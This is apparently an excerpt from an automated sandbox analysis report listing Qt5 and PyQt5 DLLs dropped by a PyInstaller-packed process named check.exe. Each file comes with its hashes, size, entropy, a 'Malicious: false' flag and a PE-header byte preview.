SHA-512:	B822538494D13BDA947655AF791FED4DAA811F20C4B63A45246C8F3BEFA3EC37FF1AA79246C89174FE35D76FFB636FA228AFA4BDA0BD6D2C41D01228B151FD89
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ .S.A...A...A..0.m..A..O....A...9...A...A...A..O....A..O....A..O....A..O....A..O.}..A..O....A..Rich.A..................PE..d.....t^.........." .....:...4......pA...............................................Z....`A.........................................j......\|k..x....................l...A......8....b..8...........................@b..0............P..X............................text....9.......:.................. ..`.rdata... ...P..."...>..............@..@.data................`..............@....pdata...............b..............@..@.rsrc................f..............@..@.reloc..8............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\d3dcompiler_47.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4173928
Entropy (8bit):	6.329102290474506
Encrypted:	false
SSDEEP:	49152:8BfmqCtLI4erBYysLjG/A8McPyCD6hw16JVTW7B3EgvVlQ3LAYmyNOvGJse+aWyb:8eZevVKACOvWYQF
MD5:	B0AE3AA9DD1EBD60BDF51CB94834CD04
SHA1:	EE2F5726AC140FB42D17ABA033D678AFAF8C39C1
SHA-256:	E994847E01A6F1E4CBDC5A864616AC262F67EE4F14DB194984661A8D927AB7F4
SHA-512:	756EBF4FA49029D4343D1BDB86EA71B2D49E20ADA6370FD7582515455635C73D37AD0DBDEEF456A10AB353A12412BA827CA4D70080743C86C3B42FA0A3152AA3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......G..(.a.{.a.{.a.{..m{5a.{..l{.a.{.m{.a.{.o{.a.{.a.{.a.{.i{.a.{.l{.a.{.h{.a.{.q{.a.{.k{.a.{.n{.a.{Rich.a.{........................PE..d......R.........." ......;.........`.8......................................@@......a@...`...........................................;.u...P.>.d.....?.@.....=......t?.h<... ?..{..................................@a................>.P............................text.....;.......;................. ..`.data...h.....;.......;.............@....pdata........=......n<.............@..@.idata..@.....>......B>.............@..@.rsrc...@.....?......\>.............@..@.reloc....... ?......b>.............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\libEGL.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25072
Entropy (8bit):	5.961464514165753
Encrypted:	false
SSDEEP:	384:KEyYvsyDQrjwgut4Maw+XZndDGg7Dgf2hU:RvszjwgocwOhdDGEUf2hU
MD5:	BB00EF1DD81296AF10FDFA673B4D1397
SHA1:	773FFCF4A231B963BAAC36CBEF68079C09B62837
SHA-256:	32092DE077FD57B6EF355705EC46C6D21F6D72FBE3D3A5DD628F2A29185A96FA
SHA-512:	C87C0868C04852B63A7399AFE4E568CD9A65B7B7D5FD63030ABEA649AAC5E9F2293AB5BE2B2CE56A57F2B4B1992AE730150A293ADA53637FC5CD7BE0A727CBD4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...Xv@.Xv@.Xv@. .@.Xv@.7wA.Xv@.3wA.Xv@.7sA.Xv@.7rA.Xv@.7uA.Xv@W(wA.Xv@.Xw@.Xv@W(sA.Xv@W(vA.Xv@W(.@.Xv@.X.@.Xv@W(tA.Xv@Rich.Xv@........PE..d...#._.........." .........0......................................................Z.....`.........................................`9.......B..d.......H....p.......F.......... ....3..T............................4..0............0...............................text............................... ..`.rdata..r#...0...$..................@..@.data........`.......:..............@....pdata.......p.......<..............@..@.rsrc...H............>..............@..@.reloc.. ............D..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\libGLESv2.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3385328
Entropy (8bit):	6.382356347494905
Encrypted:	false
SSDEEP:	49152:sU0O89Onk/cNTgO/WSLqfTPnK+9eaOiY95ZEQryD1pPG3L:MaHUKt3L
MD5:	2247EE4356666335DF7D72129AF8D600
SHA1:	F0131C1A67FC17C0E8DCC4A4CA38C9F1780E7182
SHA-256:	50FAD5605B3D57627848B3B84A744DFB6A045609B8236B04124F2234676758D8
SHA-512:	67F2A7BF169C7B9A516689CF1B16446CA50E57F099B9B742CCB1ABB2DCDE8867F8F6305AD8842CD96194687FC314715AE04C1942B0E0A4F51B592B028C5B16D3
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............t..t..t....t.A.p..t.A.w..t.A.q..t.A.u..t.u..t..u..t...q..t...t..t......t.....t...v..t.Rich..t.........PE..d....._.........." ......&.........L.&.......................................3.......3...`..........................................0..]....0.......3.P.....1.L.....3.......3..;...},.T...................P.,.(... ~,.0.............'..............................text...o.&.......&................. ..`.rdata........'.......&.............@..@.data.........1.......0.............@....pdata..L.....1.......1.............@..@.rsrc...P.....3......J3.............@..@.reloc...;....3..<...P3.............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\opengl32sw.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20923392
Entropy (8bit):	6.255903817217008
Encrypted:	false
SSDEEP:	393216:LIckHor5uLnn83wAP5hxOZEa7/LzRuDFqILn5LgcKyZyQXt+8M:yEZbv
MD5:	7DBC97BFEE0C7AC89DA8D0C770C977B6
SHA1:	A064C8D8967AAA4ADA29BD9FEFBE40405360412C
SHA-256:	963641A718F9CAE2705D5299EAE9B7444E84E72AB3BEF96A691510DD05FA1DA4
SHA-512:	286997501E1F5CE236C041DCB1A225B4E01C0F7C523C18E9835507A15C0AC53C4D50F74F94822125A7851FE2CB2FB72F84311A2259A5A50DCE6F56BA05D1D7E8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[.@..............'.......'.......'..[...........\|.-.....\|.+....\|..<....'......../.....q.*.....q.+....q.&.^...q.......q.,.....Rich............PE..d....._W.........." .....(....b.....\|&....................................... E...........`.........................................0.1.t.....1...............9.`n............C..k.. . .T..................... .(..... ..............@...............................text...T&.......(.................. ..`.rdata..XvO..@...xO..,..............@..@.data....;....1.......1.............@....pdata..`n....9..p...D3.............@..@.gfids.......pC.......=.............@..@.tls..........C.......=.............@..._RDATA........C.......=.............@..@.reloc...k....C..l....=.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68080
Entropy (8bit):	6.207162014262433
Encrypted:	false
SSDEEP:	1536:mQ4IT53ign4CbtlO705xWL3frA5rlhgQJ7tapgUff:mLIT53Hbtk70OLs3hg0Cz
MD5:	750A31DE7840B5EED8BA14C1BD84D348
SHA1:	D345D13B0C303B7094D1C438E49F0046791DE7F6
SHA-256:	A9BFFB0F3CD69CD775C328C916E46440FE80D99119FAEBC350C7EC51E3E57C41
SHA-512:	5C0A68ED27A9F1BBFF104942152E475C94BB64B03CE252EAAC1A6770E24DC4156CE4ADE99EBCD92662801262DED892C33F84C605AD84472B45A83C4883D5E767
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............h..h..h...s.h..]...h.....h..]...h..]...h..]...h......h..h..&h......h......h......h......h..Rich.h..................PE..d...X._.........." .........b......$........................................@......{v....`......................................... ................ ..X....................0......H...T......................(.......0............................................text............................... ..`.rdata...E.......F..................@..@.data...............................@....pdata..............................@..@.qtmetadi...........................@..P.rsrc...X.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41968
Entropy (8bit):	6.0993566622860635
Encrypted:	false
SSDEEP:	768:VPs5g31JfDgej5JZmA0ZsEEC6lmn+4FdDGimUf2hr:VkC31ee7ZmA+sEEC6lmn+4FOUfc
MD5:	313F89994F3FEA8F67A48EE13359F4BA
SHA1:	8C7D4509A0CAA1164CC9415F44735B885A2F3270
SHA-256:	42DDE60BEFCF1D9F96B8366A9988626B97D7D0D829EBEA32F756D6ECD9EA99A8
SHA-512:	06E5026F5DB929F242104A503F0D501A9C1DC92973DD0E91D2DAF5B277D190082DE8D37ACE7EDF643C70AA98BB3D670DEFE04CE89B483DA4F34E629F8ED5FECF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n.:..i..i..i#.Ei...i...h(..i>..h(..i...h8..i...h-..i...h(..i...h-..i..i...i...h(..i...h+..i..)i+..i...h+..iRich*..i........................PE..d......_.........." .....@...F.......F..............................................C.....`..........................................g..x...hh..........H...........................xX..T....................Z..(....X..0............P...............................text....>.......@.................. ..`.rdata...3...P...4...D..............@..@.data................x..............@....pdata...............z..............@..@.qtmetadj...........................@..P.rsrc...H...........................@..@.reloc..............................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qgif.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39408
Entropy (8bit):	6.0316011626259405
Encrypted:	false
SSDEEP:	768:ygk2hM0GskFtvPCjEIxh8eDzFyPddeeGvnhotdDGPUf2he:yN2a05kfPOEMaeDzFkddeFnhotOUfh
MD5:	52FD90E34FE8DED8E197B532BD622EF7
SHA1:	834E280E00BAE48A9E509A7DC909BEA3169BDCE2
SHA-256:	36174DD4C5F37C5F065C7A26E0AC65C4C3A41FDC0416882AF856A23A5D03BB9D
SHA-512:	EF3FB3770808B3690C11A18316B0C1C56C80198C1B1910E8AA198DF8281BA4E13DC9A6179BB93A379AD849304F6BB934F23E6BBD3D258B274CC31856DE0FC12B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3..3..3..KA.3..o\..3..X..3..o\..3..o\..3..o\..3.."C..3..3...3.."C..3.."C..3.."C-.3.."C..3..Rich.3..........PE..d...H._.........." .....@...B.......E...............................................^....`..........................................f..t....f..........@............~..............HW..T....................X..(....W..0............P...............................text...k?.......@.................. ..`.rdata..&)...P...*...D..............@..@.data...(............n..............@....pdata...............p..............@..@.qtmetads............v..............@..P.rsrc...@............x..............@..@.reloc...............\|..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qicns.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45040
Entropy (8bit):	6.016125225197622
Encrypted:	false
SSDEEP:	768:vEip0IlhxTDxut3dnm8IyAmQQ3ydJouEAkNypTAO0tfC3apmsdDG9Uf2hU:vxvXxgVIyA23ydJlEATpTAO0tfCKpms/
MD5:	AD84AF4D585643FF94BFA6DE672B3284
SHA1:	5D2DF51028FBEB7F6B52C02ADD702BC3FA781E08
SHA-256:	F4A229A082D16F80016F366156A2B951550F1E9DF6D4177323BBEDD92A429909
SHA-512:	B68D83A4A1928EB3390DEB9340CB27B8A3EB221C2E0BE86211EF318B4DD34B37531CA347C73CCE79A640C5B06FBD325E10F8C37E0CEE2581F22ABFBFF5CC0D55
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................a....Q........Q......Q......Q......................................Rich...........PE..d......_.........." .....B...N.......G...............................................&....`.............................................t...$...........@...........................xp..T....................r..(....p..0............`...............................text....@.......B.................. ..`.rdata...9...`...:...F..............@..@.data...............................@....pdata..............................@..@.qtmetadx...........................@..P.rsrc...@...........................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qico.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38384
Entropy (8bit):	5.957072398645384
Encrypted:	false
SSDEEP:	768:zBXBEfQiAzC9Oh5AS7a3Z5OGrTDeV9mp7nnsWdDGgYUf2hi/:8JAzuOhy3zOGrTDeV9mp7nnsWjYUfz
MD5:	A9ABD4329CA364D4F430EDDCB471BE59
SHA1:	C00A629419509929507A05AEBB706562C837E337
SHA-256:	1982A635DB9652304131C9C6FF9A693E70241600D2EF22B354962AA37997DE0B
SHA-512:	004EA8AE07C1A18B0B461A069409E4061D90401C8555DD23DBF164A08E96732F7126305134BFAF8B65B0406315F218E05B5F0F00BEDB840FB993D648CE996756
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u.G...G...G...N...C......E...S...E......R......O......D.......B...G...........D.......F.......F.......F...RichG...................PE..d...H._.........." .....4...H.......9....................................................`..........................................h..t...th..........@............z..............(X..T....................Y..(....X..0............P..8............................text....2.......4.................. ..`.rdata..B/...P...0...8..............@..@.data...h............h..............@....pdata...............l..............@..@.qtmetad.............r..............@..P.rsrc...@............t..............@..@.reloc...............x..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qjpeg.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	421360
Entropy (8bit):	5.7491063936821405
Encrypted:	false
SSDEEP:	6144:USgOWz1eW38u9tyh6fpGUasBKTrsXWwMmH1l3JM5hn0uEfB4:USPQTnastBRB4
MD5:	16ABCCEB70BA20E73858E8F1912C05CD
SHA1:	4B3A32B166AB5BBBEE229790FDAE9CBC84F936BA
SHA-256:	FB4E980CB5FAFA8A4CD4239329AED93F7C32ED939C94B61FB2DF657F3C6AD158
SHA-512:	3E5C83967BF31C9B7F1720059DD51AA4338E518B076B0461541C781B076135E9CB9CBCEB13A8EC9217104517FBCC356BDD3FFACA7956D1C939E43988151F6273
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Iv"...L...L...L..o....L..xM...L..\|M...L.......L..xI...L..xH...L..xO...L..gM...L...M...L..gH.?.L..gI...L..gL...L..g....L..gN...L.Rich..L.........PE..d...o._.........." .....b...........i...............................................g....`.............................................t...............@....`.......R..............h...T.......................(.......0...............@............................text....`.......b.................. ..`.rdata..J............f..............@..@.data...8....P.......(..............@....pdata.......`... ...*..............@..@.qtmetad.............J..............@..P.rsrc...@............L..............@..@.reloc...............P..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qsvg.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32240
Entropy (8bit):	5.978149408776758
Encrypted:	false
SSDEEP:	768:uOVKDlJJVlTuLiMtsKVG7TSdDG9Uf2h4e:hVgJVlTuL/tsKVG7TSQUfre
MD5:	C0DE135782FA0235A0EA8E97898EAF2A
SHA1:	FCF5FD99239BF4E0B17B128B0EBEC144C7A17DE2
SHA-256:	B3498F0A10AC4CB42CF7213DB4944A34594FF36C78C50A0F249C9085D1B1FF39
SHA-512:	7BD5F90CCAB3CF50C55EAF14F7EF21E05D3C893FA7AC9846C6CA98D6E6D177263AC5EB8A85A34501BCFCA0DA7F0B6C39769726F4090FCA2231EE64869B81CF0B
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x>...P...P...P..a...P.&vQ...P..rQ...P.&vU...P.&vT...P.&vS...P.kiQ...P...Q.n.P.kiU...P.kiP...P.ki....P.kiR...P.Rich..P.........PE..d......_.........." .....$...B......D)....................................................`.........................................PU..t....U..........@............b...............G..T....................I..(...PH..0............@..(............................text....".......$.................. ..`.rdata...+...@...,...(..............@..@.data...8....p.......T..............@....pdata...............V..............@..@.qtmetad.............Z..............@..P.rsrc...@............\..............@..@.reloc...............`..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qtga.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31728
Entropy (8bit):	5.865766652452823
Encrypted:	false
SSDEEP:	768:1lGALluUEAQATWQ79Z2Y8Ar+dDG2vUf2hF:TZl/EH8WQ794Y8Ar+hvUfm
MD5:	A913276FA25D2E6FD999940454C23093
SHA1:	785B7BC7110218EC0E659C0E5ACE9520AA451615
SHA-256:	5B641DEC81AEC1CF7AC0CCE9FC067BB642FBD32DA138A36E3BDAC3BB5B36C37A
SHA-512:	CEBE48E6E6C5CDF8FC339560751813B8DE11D2471A3DAB7D648DF5B313D85735889D4E704E8EEC0AD1084AB43BE0EBDFBACD038AEAC46D7A951EFB3A7CE838EB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........F ._'N._'N._'N.V_.Y'N..HO.]'N.KLO.]'N..HK.M'N..HJ.W'N..HM.\'N..WO.Z'N._'O.4'N..WK.\'N..WN.^'N..W..^'N..WL.^'N.Rich_'N.........................PE..d......_.........." ....."...@.......'..............................................7.....`..........................................W..t...dX..........@.......`....`..............(I..T....................J..(....I..0............@..h............................text...[!.......".................. ..`.rdata...)...@...*...&..............@..@.data........p.......P..............@....pdata..`............T..............@..@.qtmetadu............X..............@..P.rsrc...@............Z..............@..@.reloc...............^..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qtiff.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	390128
Entropy (8bit):	5.724665470266677
Encrypted:	false
SSDEEP:	6144:V0jqHiFBaRe0GPAKwP15e7xrEEEEEEN024Rx/3tkYiHUASQbs/l7OanYoOgyV:0qqwP15bx/q7/yyV
MD5:	9C0ACF12D3D25384868DCD81C787F382
SHA1:	C6E877ABA3FB3D2F21D86BE300E753E23BB0B74E
SHA-256:	825174429CED6B3DAB18115DBC6C9DA07BF5248C86EC1BD5C0DCAECA93B4C22D
SHA-512:	45594FA3C5D7C4F26325927BB8D51B0B88E162E3F5E7B7F39A5D72437606383E9FDC8F83A77F814E45AFF254914514AE52C1D840A6C7B98767F362ED3F4FC5BD
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................E....q............q......q......q......<.............<......<......<......<.)....<......Rich....................PE..d......_.........." .....(..........D-.......................................0............`.............................................t...4...........@........%........... ..(....d..T................... f..(....d..0............@..0............................text....&.......(.................. ..`.rdata...v...@...x...,..............@..@.data...(...........................@....pdata...%.......&..................@..@.qtmetad............................@..P.rsrc...@...........................@..@.reloc..(.... ......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qwbmp.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30192
Entropy (8bit):	5.938644231596902
Encrypted:	false
SSDEEP:	768:EfEM3S46JE2X/xBZ76pC5J6GdDGZUf2h4:63S3JE2PHZ76pC5J6GEUfn
MD5:	68919381E3C64E956D05863339F5C68C
SHA1:	CE0A2AD1F1A46B61CB298CEC5AA0B25FF2C12992
SHA-256:	0F05969FB926A62A338782B32446EA3E28E4BFBFFC0DBD25ED303FAB3404ABAC
SHA-512:	6222A3818157F6BCD793291A6C0380EF8C6B93ECEA2E0C9A767D9D9163461B541AFAF8C6B21C5A020F01C95C6EE9B2B74B358BA18DA120F520E87E24B20836AA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........]...<.I.<.I.<.I.D%I.<.I.S.H.<.I.W.H.<.I.S.H.<.I.S.H.<.I.S.H.<.IYL.H.<.I.<.I.<.IYL.H.<.IYL.H.<.IYLII.<.IYL.H.<.IRich.<.I........PE..d......_.........." ..... ...8.......'....................................................`......................................... D..t....D..........@....p..T....Z...............6..T...................p8..(...@7..0............0..p............................text............ .................. ..`.rdata..d&...0...(...$..............@..@.data........`.......L..............@....pdata..T....p.......N..............@..@.qtmetad~............R..............@..P.rsrc...@............T..............@..@.reloc...............X..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qwebp.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	510448
Entropy (8bit):	6.605517748735854
Encrypted:	false
SSDEEP:	12288:bPTjgdqdsvh+LrLrLrL5/y4DVHAsqx3hXS+oPZQqRaYG:jT5sMLrLrLrL5q4dAsaOFo
MD5:	308E4565C3C5646F9ABD77885B07358E
SHA1:	71CB8047A9EF0CDB3EE27428726CACD063BB95B7
SHA-256:	6E37ACD0D357871F92B7FDE7206C904C734CAA02F94544DF646957DF8C4987AF
SHA-512:	FFAEECFAE097D5E9D1186522BD8D29C95CE48B87583624EB6D0D52BD19E36DB2860A557E19F0A05847458605A9A540C2A9899D53D36A6B7FD5BF0AD86AF88124
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................a....s........s......s......s....>.........>......>.....>....>......>....Rich...................PE..d......_.........." .....B..........tH.......................................0......`q....`..........................................W..t....W..........@.......0H........... ......h...T.......................(.......0............`...............................text...[@.......B.................. ..`.rdata..J....`.......F..............@..@.data....'...........X..............@....pdata..0H.......J...\..............@..@.qtmetadv...........................@..P.rsrc...@...........................@..@.reloc....... ......................@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qminimal.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	844784
Entropy (8bit):	6.625808732261156
Encrypted:	false
SSDEEP:	12288:y6MhioHKQ1ra8HT+bkMY8zKI4kwU7dFOTTYfEWmTxbwTlWc:BMhioHKQp+bkjAjwGdFSZtbwBd
MD5:	2F6D88F8EC3047DEAF174002228219AB
SHA1:	EB7242BB0FE74EA78A17D39C76310A7CDD1603A8
SHA-256:	05D1E7364DD2A672DF3CA44DD6FD85BED3D3DC239DCFE29BFB464F10B4DAA628
SHA-512:	0A895BA11C81AF14B5BD1A04A450D6DCCA531063307C9EF076E9C47BD15F4438837C5D425CAEE2150F3259691F971D6EE61154748D06D29E4E77DA3110053B54
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#\..B2..B2..B2..:...B2..-3..B2.F....B2..-7..B2..-6..B2..-1..B2..)6..B2.^23..B2..)3..B2..B3.@2.^26..B2.^27..B2.^22..B2.^2...B2.^20..B2.Rich.B2.........PE..d...N._.........." ......................................................... ............`......................................... ...x.......@.......H....`..H.......................T.......................(.......0...............(............................text...;........................... ..`.rdata...C.......D..................@..@.data...H....@......."..............@....pdata..H....`.......0..............@..@.qtmetad............................@..P.rsrc...H...........................@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qoffscreen.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	754672
Entropy (8bit):	6.6323155845799695
Encrypted:	false
SSDEEP:	12288:/HpBmyVIRZ3Tck83vEgex5aebusGMIlhLfEWmpCJkl:/HpB63TckUcLaHMITAZmW
MD5:	6407499918557594916C6AB1FFEF1E99
SHA1:	5A57C6B3FFD51FC5688D5A28436AD2C2E70D3976
SHA-256:	54097626FAAE718A4BC8E436C85B4DED8F8FB7051B2B9563A29AEE4ED5C32B7B
SHA-512:	8E8ABB563A508E7E75241B9720A0E7AE9C1A59DD23788C74E4ED32A028721F56546792D6CCA326F3D6AA0A62FDEDC63BF41B8B74187215CD3B26439F40233F4D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m..T..KT..KT..K]t7K@..K.c.JV..K@g.JV..K.cKU..K.c.JA..K.c.J\..K.c.JP..K.\|.JQ..KT..K...K.\|.Js..K.\|.JS..K.\|.JU..K.\|[KU..K.\|.JU..KRichT..K........PE..d...R._.........." ................L.....................................................`.............................................x...8...........H....... s...h..........p.......T................... ...(.......0...............@............................text............................... ..`.rdata..............................@..@.data...............................@....pdata.. s.......t..................@..@.qtmetad.............T..............@..P.rsrc...H............V..............@..@.reloc..p............Z..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qwebgl.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	482288
Entropy (8bit):	6.152380961313931
Encrypted:	false
SSDEEP:	6144:WO/vyK+DtyaHlIMDhg5WEOvAwKB2VaaHeqRw/yVfYu4UnCA6DEjeYchcD+1Zy2:bKtHOWg5OvAwK0NYu4AShcD+1U2
MD5:	1EDCB08C16D30516483A4CBB7D81E062
SHA1:	4760915F1B90194760100304B8469A3B2E97E2BC
SHA-256:	9C3B2FA2383EEED92BB5810BDCF893AE30FA654A30B453AB2E49A95E1CCF1631
SHA-512:	0A923495210B2DC6EB1ACEDAF76D57B07D72D56108FD718BD0368D2C2E78AE7AC848B90D90C8393320A3D800A38E87796965AFD84DA8C1DF6C6B244D533F0F39
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........gM..#...#...#..~....#.ei&...#.ei'...#.ei ...#..m'...#.ei"...#.(v"...#..m"...#..."...#.(v&...#.(v#...#.(v...#.(v!...#.Rich..#.................PE..d......_.........." .....R...........;....................................................`..........................................m..t...Dn..T.......@....@...=...@..............0...T.......................(.......0............p..(............................text...{Q.......R.................. ..`.rdata..:....p.......V..............@..@.data...H....0......................@....pdata...=...@...>..................@..@.qtmetadz............2..............@..P.rsrc...@............4..............@..@.reloc...............8..............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qwindows.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1477104
Entropy (8bit):	6.575113537540671
Encrypted:	false
SSDEEP:	24576:4mCSPJrAbXEEuV9Hw2SoYFo3HdxjEgqJkLdLu5qpmZuhg/A2b:nPlIEEuV9Hw2SFFWHdWZsdmqja/A2b
MD5:	4931FCD0E86C4D4F83128DC74E01EAAD
SHA1:	AC1D0242D36896D4DDA53B95812F11692E87D8DF
SHA-256:	3333BA244C97264E3BD19DB5953EFA80A6E47AACED9D337AC3287EC718162B85
SHA-512:	0396BCCDA43856950AFE4E7B16E0F95D4D48B87473DC90CF029E6DDFD0777E1192C307CFE424EAE6FB61C1B479F0BA1EF1E4269A69C843311A37252CF817D84D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i...-...-...-...$.%.9.....q.,......8......%......)......+...9......9..,......)..........9..8...-..........d......,.....I.,......,...Rich-...........PE..d....._.........." .....,...h......4+..............................................n.....`.............................................x...(...........H............n..........X....r..T...................Pt..(... s..0............@...5...........................text..._+.......,.................. ..`.rdata.......@.......0..............@..@.data....m...@...D...(..............@....pdata...............l..............@..@.qtmetad.............J..............@..P.rsrc...H............L..............@..@.reloc..X............P..............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68592
Entropy (8bit):	6.125954940500008
Encrypted:	false
